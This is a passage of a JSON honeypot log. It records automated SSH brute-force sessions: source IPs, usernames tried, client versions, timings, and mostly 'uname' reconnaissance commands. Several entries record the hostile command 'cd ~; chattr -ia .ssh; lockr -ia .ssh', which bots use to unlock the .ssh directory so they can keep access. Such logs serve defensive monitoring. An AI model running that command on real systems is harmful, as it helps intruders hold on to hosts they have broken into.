  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:27:39.730360+00:00",
  "ended_at": "2026-08-26T13:27:45.563252+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "5f5810a1-4c36-4d98-b38f-37244620eead",
  "name": "sincere-lonesome-camel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 53834,
  "username": "oracle",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 599,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:27:33.724269+00:00",
  "ended_at": "2026-08-26T13:27:38.020119+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "68ee0804-f118-4b01-b9a7-66924f92f50a",
  "name": "clever-lively-hamster",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "45.141.148.15",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:27:33.162793+00:00",
  "ended_at": "2026-08-26T13:42:57.393122+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "3c76c96b-6f85-42f9-a20e-ad5464757918",
  "name": "calm-candid-eider",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "175.206.113.91",
  "src_port": 39308,
  "username": "ubuntu",
  "client_version": "SSH-2.0-libssh2_1.11.2_DEV",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:27:25.879449+00:00",
  "ended_at": "2026-08-26T13:27:27.507485+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a50c325d-ddeb-4bac-be2c-04331acda6f1",
  "name": "supple-mottled-vicuna",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 494,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:27:19.453364+00:00",
  "ended_at": "2026-08-26T13:27:24.514699+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a9e5907-b083-4677-9360-f1714958b5f8",
  "name": "woven-obsidian-redshank",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60636,
  "username": "test",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 668,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:27:04.560390+00:00",
  "ended_at": "2026-08-26T13:27:10.304018+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "f109b24a-f319-4066-8841-e50043e2dc9d",
  "name": "hearty-silent-chinchilla",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 43098,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 444,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:26:59.639925+00:00",
  "ended_at": "2026-08-26T13:27:05.628807+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9a01d09d-9f9c-4b26-a136-f0ab2b3476d0",
  "name": "clever-dappled-bullfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 33966,
  "username": "system",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:26:54.556752+00:00",
  "ended_at": "2026-08-26T13:27:00.115415+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "dbfa33e2-54d0-4362-8967-bd8bddb3903a",
  "name": "fringed-spirited-skink",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 60094,
  "username": "system",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 710,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:26:50.085899+00:00",
  "ended_at": "2026-08-26T13:27:00.116890+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "7a6bf20e-d689-4cd3-a3a4-7961532d4a56",
  "name": "serene-knotted-chough",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "102.220.160.41",
  "src_port": 39110,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:26:38.195505+00:00",
  "ended_at": "2026-08-26T13:26:38.863625+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7314249d-e0da-4192-9c20-59dbb85fd07a",
  "name": "deft-fleeting-jay",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40406,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 635,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:26:23.222443+00:00",
  "ended_at": "2026-08-26T13:26:28.259049+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "9c24c129-24c2-409f-8df8-b7abfc08b7e0",
  "name": "gnarled-dewy-kudu",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 47462,
  "username": "bot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:26:23.053110+00:00",
  "ended_at": "2026-08-26T13:26:33.067448+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "caf5f80b-2269-42be-9116-24c9a5333b7b",
  "name": "keen-lucid-reindeer",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35244,
  "username": "bot",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 622,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:26:18.742464+00:00",
  "ended_at": "2026-08-26T13:26:33.069008+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1656
 },
 {
  "id": "d03363a3-01f9-4b45-b427-8012e1a1ca2f",
  "name": "crisp-ginger-thrush",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56104,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 631,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:26:01.695413+00:00",
  "ended_at": "2026-08-26T13:26:05.290100+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "ff836989-c225-463d-8274-d051824a934c",
  "name": "gloomy-loyal-dipper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 43120,
  "username": "localhost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:25:59.881071+00:00",
  "ended_at": "2026-08-26T13:26:05.972752+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "8528ca5c-0387-4177-84e2-c8c393cb9d7b",
  "name": "distant-candid-hyrax",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 43084,
  "username": "labuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:25:54.141702+00:00",
  "ended_at": "2026-08-26T13:26:05.829899+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4fbb1d72-134c-4a1e-a868-c07ae5e15b8f",
  "name": "misty-whispering-snipe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41486,
  "username": "labuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 468,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:25:49.202140+00:00",
  "ended_at": "2026-08-26T13:26:05.830897+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1660
 },
 {
  "id": "68604649-1c11-4bcf-922d-75b3b3fe6d5f",
  "name": "daring-ruddy-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 47538,
  "username": "localhost",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 571,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:25:49.151280+00:00",
  "ended_at": "2026-08-26T13:26:05.973805+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1662
 },
 {
  "id": "a457a260-2cf4-4153-9b1e-71bb36b13339",
  "name": "primal-frosty-quail",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51651,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:25:48.391999+00:00",
  "ended_at": "2026-08-26T13:25:50.141570+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "cf83889e-0918-4ba1-b0e8-d882471077d0",
  "name": "flinty-patient-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 48062,
  "username": "user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 311,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:25:24.282949+00:00",
  "ended_at": "2026-08-26T13:25:28.106615+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "b6cb0064-8bd0-4624-8bc3-98aaf7d26261",
  "name": "lofty-pristine-polecat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 56138,
  "username": "esuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:25:09.562143+00:00",
  "ended_at": "2026-08-26T13:25:14.763549+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "34448d6f-7d6f-4e0a-a748-db6eb8c3621f",
  "name": "boreal-blithe-hyrax",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34468,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 541,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:25:05.507150+00:00",
  "ended_at": "2026-08-26T13:25:11.874469+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "282f8780-7747-4c48-ba6b-d54eae7a8928",
  "name": "creaky-bitter-harrier",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 39950,
  "username": "esuser",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 521,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:25:02.827560+00:00",
  "ended_at": "2026-08-26T13:25:14.764618+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1659
 },
 {
  "id": "922fe175-b81b-4b89-920c-08269d74bae3",
  "name": "orderly-eager-vervet",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50712,
  "username": "junior",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:24:39.447514+00:00",
  "ended_at": "2026-08-26T13:24:40.420047+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "b7b8b4b7-c648-474c-8e39-b326ca5a3f05",
  "name": "frank-prickly-lorikeet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 42846,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 543,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:24:37.620440+00:00",
  "ended_at": "2026-08-26T13:24:42.277406+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "767c3b55-b00e-4733-a64c-b6418518bb16",
  "name": "crimson-peaty-panther",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "103.167.89.222",
  "src_port": 50708,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:24:35.901300+00:00",
  "ended_at": "2026-08-26T13:24:37.601806+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7eb3db04-258b-4b6e-9f52-ac105ef217d3",
  "name": "lonesome-drifting-owl",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50696,
  "username": "junior",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:24:31.836562+00:00",
  "ended_at": "2026-08-26T13:24:33.795503+00:00",
  "ended_reason": "exec complete",
  "commands": 1,
  "transcript_bytes": 65
 },
 {
  "id": "d9dc232c-a718-4fb0-97e5-fc8022fb2336",
  "name": "dapper-wry-bobcat",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 37882,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 534,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:24:27.141343+00:00",
  "ended_at": "2026-08-26T13:24:31.742249+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "25b62944-24f8-46f7-a636-830d14a1e717",
  "name": "valiant-grassy-roebuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 34480,
  "username": "main",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:24:17.655079+00:00",
  "ended_at": "2026-08-26T13:24:22.265227+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d67fe4a8-e40c-4821-b4c1-4e8757459db4",
  "name": "sterling-primal-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 36038,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 555,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:24:12.761287+00:00",
  "ended_at": "2026-08-26T13:24:17.807530+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "3a384604-88c8-4d33-93fc-72f2280f81fb",
  "name": "stoic-ivory-egret",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 52954,
  "username": "main",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 859,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:24:12.575764+00:00",
  "ended_at": "2026-08-26T13:24:22.266279+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "9ba8a6f7-afe8-4d30-a64d-bc9131858797",
  "name": "faded-distant-firefly",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 59014,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 653,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:23:47.425754+00:00",
  "ended_at": "2026-08-26T13:23:51.150350+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "364c94ec-c9d2-45f0-b8e4-2427a4f1f560",
  "name": "peaty-steady-greenfinch",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50074,
  "username": "ec2-user",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 496,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:23:30.933953+00:00",
  "ended_at": "2026-08-26T13:23:35.553378+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "a399e888-5e4b-4246-826b-eafc879e796e",
  "name": "thrifty-distant-wolverine",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54386,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 613,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:23:21.784541+00:00",
  "ended_at": "2026-08-26T13:23:27.905262+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "2d612b5f-2bf6-41af-8d68-2d5075267b5f",
  "name": "keen-languid-fossa",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 55896,
  "username": "jenkins",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 588,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:23:05.753381+00:00",
  "ended_at": "2026-08-26T13:23:10.237620+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "af2948d0-6a2d-463f-81d7-e55ced154362",
  "name": "languid-gentle-goldcrest",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 54420,
  "username": "guest",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 556,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:22:58.242225+00:00",
  "ended_at": "2026-08-26T13:23:03.857888+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "850332ed-8892-429d-a870-2d1d9a1a0cb1",
  "name": "autumn-prickly-woodchuck",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 58000,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:22:45.994837+00:00",
  "ended_at": "2026-08-26T13:22:51.251845+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "78e4645f-d6d9-4fb6-9a97-b08c766e5bd3",
  "name": "tidal-eager-grebe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 35106,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 704,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:22:40.376519+00:00",
  "ended_at": "2026-08-26T13:22:44.669859+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "812b65fa-606a-4692-87d0-27dcdd43cf84",
  "name": "jolly-hazy-ermine",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "77.239.124.249",
  "src_port": 50078,
  "username": "vyos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:22:39.620567+00:00",
  "ended_at": "2026-08-26T13:22:43.744464+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "96065b3c-0d4c-49e3-a062-46802a352d6e",
  "name": "solemn-cheerful-tanager",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 34532,
  "username": "administrator",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 677,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:22:39.465462+00:00",
  "ended_at": "2026-08-26T13:22:51.253147+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1661
 },
 {
  "id": "a3e225e5-b663-4535-a7e2-60a26f15885f",
  "name": "ashen-frugal-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 41676,
  "username": "vyos",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 657,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:22:34.403034+00:00",
  "ended_at": "2026-08-26T13:22:43.743187+00:00",
  "ended_reason": "exec complete",
  "commands": 14,
  "transcript_bytes": 1657
 },
 {
  "id": "517a5c25-22a8-46cb-8df8-eeff40dfc5e5",
  "name": "honest-forlorn-cougar",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 64314,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:22:23.386145+00:00",
  "ended_at": "2026-08-26T13:23:04.563648+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "d4a5a178-aaca-43b9-8521-fd955d950fe4",
  "name": "reedy-lanky-sandpiper",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "94.26.106.199",
  "src_port": 20064,
  "username": "user",
  "client_version": "SSH-2.0-libssh_0.12.0",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:22:14.937143+00:00",
  "ended_at": "2026-08-26T13:22:15.610923+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c761b5d2-5814-4461-871c-d1975cead17a",
  "name": "marbled-verdant-hoopoe",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 57244,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 701,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:22:08.751546+00:00",
  "ended_at": "2026-08-26T13:22:13.175615+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "e5d76c0f-8c65-4ed9-b4cb-984914c0b434",
  "name": "flinty-kindly-lapwing",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 56358,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 660,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:21:59.045505+00:00",
  "ended_at": "2026-08-26T13:22:04.788413+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "da994aa2-008d-4b69-b05f-7ceeb86a64fa",
  "name": "chilly-deft-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "125.142.37.91",
  "src_port": 46416,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 632,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:21:48.264018+00:00",
  "ended_at": "2026-08-26T13:21:49.062135+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2093
 },
 {
  "id": "9341314a-c666-428a-ad30-b5e08049bc6c",
  "name": "wry-tender-civet",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "103.167.89.222",
  "src_port": 50494,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 1209,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T13:21:47.359998+00:00",
  "ended_at": "2026-08-26T13:21:48.920783+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "2ddb064a-e68b-4ca2-b56d-0fb4b01e9c75",
  "name": "deft-clever-greenfinch",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "125.142.37.91",
  "src_port": 1363,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:35.144346+00:00",
  "ended_at": "2026-08-26T13:21:36.807343+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "35a31d27-89c4-424c-b19a-7faf6c9b1c51",
  "name": "indigo-kindly-pangolin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "125.142.37.91",
  "src_port": 63838,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T13:21:33.113916+00:00",
  "ended_at": "2026-08-26T13:21:33.837188+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "906cfede-1e13-495b-ab72-2504fbf2927a",
  "name": "twilight-dappled-petrel",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 40854,
  "username": "openclaw",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 371,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:21:32.164849+00:00",
  "ended_at": "2026-08-26T13:21:38.897566+00:00",
  "ended_reason": "exec complete",
  "commands": 12,
  "transcript_bytes": 864
 },
 {
  "id": "08e9f6b7-b38d-482e-9a74-3741d4bb231c",
  "name": "fearless-zealous-martin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "77.239.124.249",
  "src_port": 50612,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 445,
  "probe_flagged": 0,
  "exec_command": "uname -s -v -n -r -m",
  "started_at": "2026-08-26T13:21:16.930209+00:00",
